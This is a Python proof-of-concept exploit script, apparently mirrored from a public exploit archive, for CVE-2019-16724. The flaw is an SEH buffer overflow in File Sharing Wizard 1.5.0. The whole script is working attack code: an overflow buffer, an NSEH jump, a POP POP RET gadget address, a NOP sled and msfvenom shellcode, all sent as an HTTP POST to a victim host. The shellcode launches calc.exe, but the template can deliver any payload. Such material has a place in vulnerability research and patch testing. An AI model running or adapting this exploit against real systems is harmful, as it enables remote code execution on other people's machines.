Exploit for File Sharing Wizard 1.5.0 SEH Buffer Overflow CVE-2019-16724

## https://sploitus.com/exploit?id=PACKETSTORM:154586
import socket  
from struct import *  
  
# Exploit Title: File sharing wizard 'post' remote SEH overflow  
# Date: 9/23/2019  
# Exploit Author: x00pwn  
# Software Link: https://file-sharing-wizard.soft112.com/  
# Version: 1.5.0  
# Tested on: Windows 7  
# CVE : CVE-2019-16724  
  
# File-sharing-wizard-seh  
  
#----------------------------------------------#  
# Bad characters: \x00 #  
# SEH value: 0x909032EB (JMP short) #  
# NSEH value: 0x7c38a67f (POP POP RET) #  
#----------------------------------------------#  
  
# Assigned CVE ID : CVE-2019-16724  
  
victim_host = "10.0.0.17"  
victim_port = 80  
  
# msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python -v shellcode EXITFUNC=seh  
shellcode = ""  
shellcode += "\xd9\xc7\xd9\x74\x24\xf4\xba\x65\x1d\x84\xe1\x5f"  
shellcode += "\x29\xc9\xb1\x31\x31\x57\x18\x03\x57\x18\x83\xef"  
shellcode += "\x99\xff\x71\x1d\x89\x82\x7a\xde\x49\xe3\xf3\x3b"  
shellcode += "\x78\x23\x67\x4f\x2a\x93\xe3\x1d\xc6\x58\xa1\xb5"  
shellcode += "\x5d\x2c\x6e\xb9\xd6\x9b\x48\xf4\xe7\xb0\xa9\x97"  
shellcode += "\x6b\xcb\xfd\x77\x52\x04\xf0\x76\x93\x79\xf9\x2b"  
shellcode += "\x4c\xf5\xac\xdb\xf9\x43\x6d\x57\xb1\x42\xf5\x84"  
shellcode += "\x01\x64\xd4\x1a\x1a\x3f\xf6\x9d\xcf\x4b\xbf\x85"  
shellcode += "\x0c\x71\x09\x3d\xe6\x0d\x88\x97\x37\xed\x27\xd6"  
shellcode += "\xf8\x1c\x39\x1e\x3e\xff\x4c\x56\x3d\x82\x56\xad"  
shellcode += "\x3c\x58\xd2\x36\xe6\x2b\x44\x93\x17\xff\x13\x50"  
shellcode += "\x1b\xb4\x50\x3e\x3f\x4b\xb4\x34\x3b\xc0\x3b\x9b"  
shellcode += "\xca\x92\x1f\x3f\x97\x41\x01\x66\x7d\x27\x3e\x78"  
shellcode += "\xde\x98\x9a\xf2\xf2\xcd\x96\x58\x98\x10\x24\xe7"  
shellcode += "\xee\x13\x36\xe8\x5e\x7c\x07\x63\x31\xfb\x98\xa6"  
shellcode += "\x76\xfd\x69\x7b\x62\x6a\xd0\xee\xcf\xf6\xe3\xc4"  
shellcode += "\x13\x0f\x60\xed\xeb\xf4\x78\x84\xee\xb1\x3e\x74"  
shellcode += "\x82\xaa\xaa\x7a\x31\xca\xfe\x18\xd4\x58\x62\xf1"  
shellcode += "\x73\xd9\x01\x0d"  
  
nseh = pack ('<I',0x909032EB) # Short jump forward 32 places into NOP sled  
seh = pack('I',0x7c38a67f) # POP POP RET  
  
# 0x7c38a67f : pop ecx # pop ecx # ret | {PAGE_EXECUTE_READ} [MSVCR71.dll]  
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.6030.0 (C:\Program Files (x86)\File Sharing Wizard\bin\MSVCR71.dll)  
  
exploit_payload = "A" * 1040  
exploit_payload += nseh # JMP short  
exploit_payload += seh # POPPOPRET  
exploit_payload += "\x90" * 100 # NOPSLED  
exploit_payload += shellcode # popping calc.exe  
exploit_payload += "D" *(5000 - len(exploit_payload))  
  
payload_header = "POST " + exploit_payload  
payload_header +=" HTTP/1.0\r\n\r\n"  
  
# overflowed SEH handler - 42386942 : [*] Exact match at offset 1044  
  
try:  
print("""  
--------------------------------  
CVE-2019-16724 proof of concept  
File sharing wizard SEH overflow  
--------------------------------  
""")  
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print("[x] Setting up a socket connection")  
expl.connect((victim_host, victim_port))  
print("[x] Establishing a connection to the victim")  
expl.send(payload_header)  
print("[x] Sending ")  
except:  
print("[!] Error establishing a connection")  
print("[!] Error sending exploit")